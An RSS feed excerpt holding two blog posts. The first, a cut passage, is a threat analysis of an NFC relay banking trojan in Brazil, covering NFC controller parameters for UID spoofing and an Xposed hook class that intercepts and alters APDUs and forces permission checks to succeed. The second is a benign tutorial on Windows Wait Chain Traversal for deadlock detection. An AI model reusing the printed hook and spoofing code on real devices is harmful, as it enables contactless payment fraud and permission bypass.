src="https://cdn-images-1.medium.com/max/718/1*gEcvEwVo4dLCeJ5CflLVuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQIGqdRCUOslAUKOb2IxGQ.png" /></figure><p>The introduction of libnfcgate.so represents a paradigm shift from software-level NFC manipulation to direct hardware controller access, fundamentally changing the threat landscape for contactless payment security. This native library bypasses all Android framework protections and security mechanisms by communicating directly with the Near Field Communication Controller (NFCC) chip through low-level hardware abstraction layer (HAL) interfaces. The comprehensive mapping of 71 distinct configuration parameters demonstrates an intimate understanding of NFC controller internals that rivals professional development tools used by legitimate hardware manufacturers.</p><p>These parameters span critical operational aspects including timing controls (TOTAL_DURATION, PA_BAIL_OUT), device discovery limits (CON_DEVICES_LIMIT, PA_DEVICES_LIMIT), protocol-specific configurations for ISO 14443 Type A/B and FeliCa technologies, and even advanced features like wireless charging control (RF_WLC_STATUS_CONFIG). This level of hardware access enables the malware to manipulate fundamental NFC behaviors that are typically immutable from the application layer.</p><p>The security implications of this native library integration cannot be overstated, as it effectively transforms any infected Android device into a professional-grade NFC manipulation tool capable of sophisticated attacks previously requiring specialized hardware. By directly invoking nfc_controller_set_config() functions, the malware can extend session timeouts far beyond normal limits, remove device connection restrictions, manipulate card identification parameters, and even alter RF field characteristics to optimize attack success rates. This hardware-level control enables advanced techniques such as perfect card cloning by manipulating UID parameters (LA_NFCID1, LB_NFCID0), sophisticated timing attacks through precise control of polling and response intervals, and evasion of detection systems that rely on monitoring software-level NFC API calls. The ability to configure parameters like POWER_STATE and RF_FIELD_INFO also suggests potential for power analysis attacks and RF fingerprinting techniques that could be used to identify and target specific card types or even individual cards based on their unique electromagnetic signatures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-oa-mO1qw6j0OosMjtnyQ.png" /></figure><p>Analyzed the class files to extract 71 NFC commands, discovering their details. Created a CSV listing command ID, name, category, protocol, description, and security impact. The commands include timing controls, polling, listen modes (with spoofing capabilities), advanced protocols, wireless charging, and RF/system controls. Notably, commands like UID spoofing and direct hardware control pose security risks. The CSV is ready for publication on GitHub Gist for research and security analysis.<br>Most dangerous commands:</p><blockquote>LA_NFCID1 (51) — Type A UID Spoofing</blockquote><blockquote>LB_NFCID0 (57) — Type B UID Spoofing</blockquote><blockquote>LB_APPLICATION_DATA (58) — Fake Data Injection</blockquote><blockquote>NFCC_CONFIG_CONTROL (133) — Direct Hardware Control</blockquote><blockquote>RF_FIELD_INFO (128) — RF Field Manipulation</blockquote><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/683fc0a804ef2d42743f3432b30ec2e8/href">https://medium.com/media/683fc0a804ef2d42743f3432b30ec2e8/href</a></iframe><h3><strong>NFC commands used by the malware</strong></h3><p><strong>Timing and Control Commands</strong><br>TOTAL_DURATION (0) — Used to extend NFC session time up to 120 seconds (normal is 5–10s)<br>CON_DEVICES_LIMIT (1) — Configured to allow multiple simultaneous connections</p><p><strong>Card Emulation Commands</strong><br>LA_NFCID1 (51) — Used for Type A card UID spoofing<br>LB_NFCID0 (57) — Used for Type B card UID spoofing<br>LB_APPLICATION_DATA (58) — Used to inject falsified application data<br>LA_PLATFORM_CONFIG (49) — Used to configure emulation mode</p><p><strong>Protocol Manipulation Commands</strong><br>LB_FWI_ADC_FO (60) — Manipulated to alter response timing<br>LN_WT (96) — Modified to control waiting time in NFC-DEP<br>LI_BIT_RATE (91) — Altered to optimize communication speed</p><p><strong>Hardware Control Commands</strong><br>NFCC_CONFIG_CONTROL (133) — Used for direct NFC hardware control<br>RF_FIELD_INFO (128) — Used to manipulate RF field characteristics</p><p><strong>Relay Commands</strong><br>PN_NFC_DEP_SPEED (40) — Optimized for real-time relay<br>LI_A_RATS_TB1 (88) — Manipulated to control RATS responses</p><pre>// Example of TOTAL_DURATION usage in code<br>isoDep.setTimeout(120000); // 2 minutes = 120000ms<br><br>// Example of NFCID manipulation<br>byte[] fakeUID = {0x12, 0x34, 0x56, 0x78};<br>setNFCConfig(LA_NFCID1, fakeUID, 4);<br><br>// Example of hardware control<br>DaemonManager.initializeHCE();<br>// Internally calls setNFCConfig(NFCC_CONFIG_CONTROL, ...)</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F95a7dBHq6xk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D95a7dBHq6xk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F95a7dBHq6xk%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5a036ecdd5e88d0d7888fefa8e30b0e6/href">https://medium.com/media/5a036ecdd5e88d0d7888fefa8e30b0e6/href</a></iframe><p>The malware utilizes these commands primarily through the native libnfcgate.so library, which provides direct access to the NFC controller, bypassing Android&#39;s protections. The combination of these commands allows the malware to perform sophisticated operations such as:</p><ol><li>Maintaining active NFC connections for extended periods</li><li>Emulating cards with cloned UIDs</li><li>Manipulating response times to evade detection</li><li>Directly controlling NFC hardware for advanced operations</li></ol><h4>Xposed Framework Integration</h4><p>The malware leverages Xposed Framework for deep system hooks:</p><pre>// de.security.odioteam.xposed.Hooks<br>public class NFCHooks implements IXposedHookLoadPackage {<br>    <br>    @Override<br>    public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable {<br>        if (&quot;com.android.nfc&quot;.equals(lpparam.packageName)) {<br>            hookNFCService(lpparam.classLoader);<br>        }<br>        <br>        if (&quot;android&quot;.equals(lpparam.packageName)) {<br>            hookSystemServices(lpparam.classLoader);<br>        }<br>    }<br>    <br>    private void hookNFCService(ClassLoader classLoader) {<br>        try {<br>            Class&lt;?&gt; nfcServiceClass = XposedHelpers.findClass(<br>                &quot;com.android.nfc.NfcService&quot;, classLoader);<br>                <br>            // Hook NFC state changes<br>            XposedHelpers.findAndHookMethod(nfcServiceClass, &quot;onNfcStateChanged&quot;,<br>                int.class, new XC_MethodHook() {<br>                    @Override<br>                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {<br>                        int state = (Integer) param.args[0];<br>                        // Log NFC state changes for evasion<br>                        logNFCStateChange(state);<br>                    }<br>                });<br>                <br>            // Hook APDU processing<br>            XposedHelpers.findAndHookMethod(nfcServiceClass, &quot;sendRawFrame&quot;,<br>                byte[].class, new XC_MethodHook() {<br>                    @Override<br>                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {<br>                        byte[] apdu = (byte[]) param.args[0];<br>                        <br>                        // Intercept and log all APDU commands<br>                        interceptAPDU(apdu);<br>                        <br>                        // Modify APDU if needed for evasion<br>                        param.args[0] = modifyAPDUForEvasion(apdu);<br>                    }<br>                    <br>                    @Override<br>                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {<br>                        byte[] response = (byte[]) param.getResult();<br>                        if (response != null) {<br>                            logAPDUResponse(response);<br>                        }<br>                    }<br>                });<br>                <br>        } catch (Throwable t) {<br>            XposedBridge.log(&quot;Failed to hook NFC service: &quot; + t.getMessage());<br>        }<br>    }<br>    <br>    private void hookSystemServices(ClassLoader classLoader) {<br>        try {<br>            // Hook security policy checks<br>            Class&lt;?&gt; securityPolicyClass = XposedHelpers.findClass(<br>                &quot;com.android.server.pm.PackageManagerService&quot;, classLoader);<br>                <br>            XposedHelpers.findAndHookMethod(securityPolicyClass, &quot;checkPermission&quot;,<br>                String.class, String.class, int.class, new XC_MethodHook() {<br>                    @Override<br>                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {<br>                        String permission = (String) param.args[0];<br>                        String packageName = (String) param.args[1];<br>                        <br>                        // Grant NFC permissions to our malware<br>                        if (isOurPackage(packageName) &amp;&amp; isNFCPermission(permission)) {<br>                            param.setResult(PackageManager.PERMISSION_GRANTED);<br>                        }<br>                    }<br>                });<br>                <br>        } catch (Throwable t) {<br>            XposedBridge.log(&quot;Failed to hook system services: &quot; + t.getMessage());<br>        }<br>    }<br>    <br>    private void interceptAPDU(byte[] apdu) {<br>        // Send intercepted APDU to our malware for analysis<br>        Intent intent = new Intent(&quot;com.security.odioteam.APDU_INTERCEPTED&quot;);<br>        intent.putExtra(&quot;apdu_data&quot;, apdu);<br>        intent.putExtra(&quot;timestamp&quot;, System.currentTimeMillis());<br>        <br>        // Broadcast to our malware components<br>        sendBroadcast(intent);<br>    }<br>}</pre><h3>Conclusion</h3><p>This evolution represents a quantum leap in mobile banking fraud sophistication in Brazil. What began as a relatively simple NFC relay tool has transformed into a comprehensive hardware-level manipulation platform that challenges our fundamental assumptions about mobile payment security:</p><p>1.Hardware-Level Threats Are Real: The integration of native libraries that directly manipulate NFC controller hardware demonstrates that software-only security measures are insufficient.</p><p>2.Modular Architecture Enables Rapid Evolution: The remote activation and modular design allow criminals to adapt quickly to new security measures and deploy targeted attacks.</p><p>3.Persistent Sessions Break Security Models: The ability to maintain NFC sessions beyond initial contact fundamentally breaks the proximity-based security model of contactless payments.</p><p>4.Advanced Evasion Techniques: The use of Xposed Framework hooks and hardware-level manipulation makes detection extremely challenging for traditional security solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=713c631e7dde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Wait Chain Traversal (WCT) on Windows for Thread Debugging and Hooking Thread Waits]]></title>
            <link>https://debugactiveprocess.medium.com/understanding-wait-chain-traversal-wct-on-windows-for-thread-debugging-and-hooking-thread-waits-b3941c9c7057?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3941c9c7057</guid>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 19:33:33 GMT</pubDate>
            <atom:updated>2025-07-31T19:33:33.439Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJyD51-VC2HKavNkiQ0pZw.jpeg" /></figure><p>When working with multi-threaded applications, one of the biggest challenges developers face is dealing with deadlocks and performance bottlenecks. Threads often need to synchronize their execution using mutexes, critical sections, and inter-process communication mechanisms, but improper handling can lead to situations where threads block indefinitely, waiting for resources that are never released.</p><p>To tackle this issue, Microsoft provides the Wait Chain Traversal (WCT) API, a powerful tool that allows developers to analyze thread wait chains and detect potential deadlocks programmatically.</p><p>In this section, we’ll dive deep into:</p><ul><li>What Wait Chain Traversal (WCT) is.</li><li>Why WCT is important for debugging deadlocks.</li><li>The types of wait chains WCT can detect.</li><li>How the WCT API works with real-world examples.</li></ul><h3>What is a Wait Chain???</h3><p>A wait chain is a sequence of threads and synchronization objects that define how threads depend on each other. Each thread in a wait chain is waiting on an object (like a mutex or event) that is owned by another thread, forming a chain-like structure.</p><p>A simple example of a wait chain:</p><ol><li><strong>Thread A</strong> holds <strong>Mutex 1</strong> but is waiting for <strong>Mutex 2</strong>.</li><li><strong>Thread B</strong> holds <strong>Mutex 2</strong> but is waiting for <strong>Mutex 3</strong>.</li><li><strong>Thread C</strong> holds <strong>Mutex 3</strong> but is waiting for <strong>Mutex 1</strong>.</li><li>This forms a <strong>deadlock cycle</strong>, as no thread can proceed.</li></ol><h3>Why Wait Chains Matter??</h3><p>Understanding wait chains is critical for debugging because:</p><ul><li>They help pinpoint deadlocks, where threads are permanently blocked.</li><li>They allow performance analysis, identifying bottlenecks caused by thread contention.</li><li>They improve the stability of multi-threaded applications by reducing thread stalls.</li></ul><h3>What Can WCT Detect?</h3><p>The WCT API can analyze wait chains and detect dependencies involving various synchronization primitives, including:</p><p><strong>Critical Sections</strong> — Lightweight locks used within a single process.<br><strong>Mutexes (including inter-process mutexes)</strong> — Used for cross-thread and cross-process synchronization.<br><strong>Asynchronous Local Procedure Calls (ALPC)</strong> — Used for inter-process communication.<br><strong>SendMessage API Calls</strong> — Blocks a thread if it’s waiting for a window message to be processed.<br><strong>Thread &amp; Process Wait Operations</strong> — Threads waiting for other threads or processes to complete.<br><strong>COM Cross-Apartment Calls</strong> — Calls between COM objects in different threads.<br><strong>Sockets and SMB Operations</strong> — Network-related waits, such as blocking socket calls.</p><p>These objects are common sources of deadlocks, and WCT helps track them automatically.</p><h3>How the WCT API Works</h3><h3>Step 1: Opening a Wait Chain Session</h3><p>To start an analysis, you must first open a WCT session using:</p><pre>HWCT OpenThreadWaitChainSession(<br>    _In_ DWORD Flags,<br>    _In_opt_ PWAITCHAINCALLBACK callback<br>);</pre><ul><li><strong>Flags</strong>: Determines if the session is synchronous (blocking) or asynchronous (non-blocking).</li><li><strong>Callback</strong>: Used only for asynchronous sessions.</li></ul><blockquote><em>✅ </em><strong><em>Synchronous sessions</em></strong><em> (Flags = 0) block execution until the analysis completes.<br> ✅ </em><strong><em>Asynchronous sessions</em></strong><em> (Flags = </em><em>WCT_ASYNC_OPEN_FLAG) call a callback function when done.</em></blockquote><p>If successful, OpenThreadWaitChainSession returns a handle to the session, otherwise NULL is returned.</p><h3>Step 2: Performing a Wait Chain Analysis</h3><p>Once you have a session, you can <strong>analyze a specific thread</strong> using:</p><pre>BOOL GetThreadWaitChain(<br>    _In_ HWCT WctHandle,<br>    _In_opt_ DWORD_PTR Context,<br>    _In_ DWORD Flags,<br>    _In_ DWORD ThreadId,<br>    _Inout_ LPDWORD NodeCount,<br>    _Out_writes_(*NodeCount) PWAITCHAIN_NODE_INFO NodeInfoArray,<br>    _Out_ LPBOOL IsCycle<br>);</pre><p>🔹 <strong>Key Parameters:</strong></p><ul><li>WctHandle: The session handle from OpenThreadWaitChainSession().</li><li>ThreadId: The thread to analyze.</li><li>NodeInfoArray: Stores information about detected wait chains.</li><li>IsCycle: Returns TRUE if a deadlock is detected.</li></ul><p>🔹 <strong>Flags for Advanced Analysis:</strong></p><pre>╔══════════════════════════════╦══════════════════════════════════════╗<br>║   Flag                       ║             Description              ║<br>╠══════════════════════════════╬══════════════════════════════════════║<br>║ WCT_OUT_OF_PROC_FLAG (1)     ║ Enables out-of-process analysis      ║<br>║ WCT_OUT_OF_PROC_COM_FLAG (2) ║ Analyzes COM wait chains             ║<br>║ WCT_OUT_OF_PROC_CS_FLAG (4)  ║ Analyzes critical section wait chains║<br>║ WCT_NETWORK_IO_FLAG (8)      ║ Analyzes network wait chains         ║<br>║ WCTP_GETINFO_ALL_FLAGS       ║ Combines all flags                   ║<br>╚══════════════════════════════╩══════════════════════════════════════╝</pre><p>These flags allow fine-grained control over the types of synchronization mechanisms WCT should analyze.</p><h3>Step 3: Closing the WCT Session</h3><p>Once the analysis is complete, close the session to free resources:</p><pre>BOOL CloseThreadWaitChainSession(HWCT WctHandle);</pre><p>The <strong>WCT API</strong> is particularly useful for <strong>debugging multi-threaded applications</strong> to identify potential deadlocks, <strong>profiling thread performance</strong> to detect execution bottlenecks, and <strong>enhancing Windows services stability</strong> by ensuring that threads do not remain blocked indefinitely.</p><h3><strong>Offensive Perspective</strong></h3><p>To create a hook that utilizes Wait Chain Traversal (WCT) for detecting thread waits and triggering a Windows text box, we first need to identify a target process and thread. This is accomplished using the function GetThreadIdByProcessName, which scans the running processes to locate a thread belonging to a specific application (e.g., Notepad.exe). Once the thread ID is obtained, we initiate a WCT session using OpenThreadWaitChainSession, allowing us to analyze the thread’s wait chain and determine if it is blocked by another thread or object. This setup is crucial for dynamically monitoring an application’s threading behavior and detecting synchronization issues.</p><p>Once a thread is identified, the function MonitorThreadWaitChain is called to analyze its wait chain. Using GetThreadWaitChain, we check if the thread is waiting on any objects or locked in a deadlock. If a wait chain is detected (i.e., the thread is waiting for another resource), the function triggers ShowMessageBox(), displaying a warning pop-up to alert the user. This provides real-time notifications when a thread is stalled, allowing developers to investigate potential performance bottlenecks or deadlocks. The monitoring function ensures that thread contention issues can be caught early, preventing application freezes.</p><p>Example:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;wct.h&gt;<br>#include &lt;tlhelp32.h&gt;<br>#include &lt;iostream&gt;<br><br>#pragma comment(lib, &quot;OneCoreUAP.lib&quot;)  // Link with OneCoreUAP.lib<br><br>DWORD GetFirstThreadId(DWORD processID) {<br>    THREADENTRY32 te32;<br>    te32.dwSize = sizeof(THREADENTRY32);<br>    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);<br><br>    if (Thread32First(hThreadSnap, &amp;te32)) {<br>        do {<br>            if (te32.th32OwnerProcessID == processID) {<br>                CloseHandle(hThreadSnap);<br>                return te32.th32ThreadID; <br>            }<br>        } while (Thread32Next(hThreadSnap, &amp;te32));<br>    }<br>    CloseHandle(hThreadSnap);<br>    return 0;<br>}<br><br>int main() {<br>    // Open a synchronous WCT session<br>    HWCT hWct = OpenThreadWaitChainSession(0, NULL);<br>    if (!hWct) {<br>        std::cerr &lt;&lt; &quot;Failed to open WCT session\n&quot;;<br>        return 1;<br>    }<br><br>    // Get a running Notepad process ID<br>    DWORD processID = 0;  // Set a real process ID here =)<br>    DWORD threadID = GetFirstThreadId(processID);<br>    if (threadID == 0) {<br>        std::cerr &lt;&lt; &quot;Failed to get thread ID\n&quot;;<br>        return 1;<br>    }<br><br>    WAITCHAIN_NODE_INFO NodeInfo[WCT_MAX_NODE_COUNT];<br>    DWORD NodeCount = WCT_MAX_NODE_COUNT;<br>    BOOL IsCycle;<br><br>    if (GetThreadWaitChain(hWct, 0, WCTP_GETINFO_ALL_NODES, threadID, &amp;NodeCount, NodeInfo, &amp;IsCycle)) {<br>        std::cout &lt;&lt; &quot;Thread &quot; &lt;&lt; threadID &lt;&lt; &quot; is waiting in a chain:\n&quot;;<br>        for (DWORD i = 0; i &lt; NodeCount; i++) {<br>            std::cout &lt;&lt; &quot; - Node &quot; &lt;&lt; i &lt;&lt; &quot; Type: &quot; &lt;&lt; NodeInfo[i].ObjectType &lt;&lt; &quot;\n&quot;;<br>        }<br>        if (IsCycle) {<br>            std::cout &lt;&lt; &quot;Deadlock detected!\n&quot;;<br>        }<br>    } else {<br>        std::cerr &lt;&lt; &quot;Failed to get wait chain.\n&quot;;<br>    }<br><br>    // Close the session<br>    CloseThreadWaitChainSession(hWct);<br>    return 0;<br>}</pre><p>Finally, the program’s main() function orchestrates the monitoring process. It first retrieves the target process’s thread ID and then continuously checks for wait chains. The code can be modified to run in a loop, monitoring the thread at intervals, or integrated into a debugging tool for automated deadlock detection. This method is particularly useful for debugging multi-threaded applications, helping developers pinpoint problematic synchronization patterns that lead to unresponsiveness or crashes. By leveraging WCT, we gain a powerful mechanism to analyze thread dependencies dynamically and improve software stability.</p><p>Reference:</p><ul><li>Windows Kernel Programming by Pavel Yosifovich</li><li>GetThreadWaitChain function (wct.h)<a href="https://learn.microsoft.com/en-us/windows/win32/api/wct/nf-wct-getthreadwaitchain">https://learn.microsoft.com/en-us/windows/win32/api/wct/nf-wct-getthreadwaitchain</a></li><li>Learn how to use wait chain traversal (WCT) to let debuggers diagnose application hangs and deadlocks. <a href="https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/Debug/wait-chain-traversal.md">https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/Debug/wait-chain-traversal.md</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3941c9c7057" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>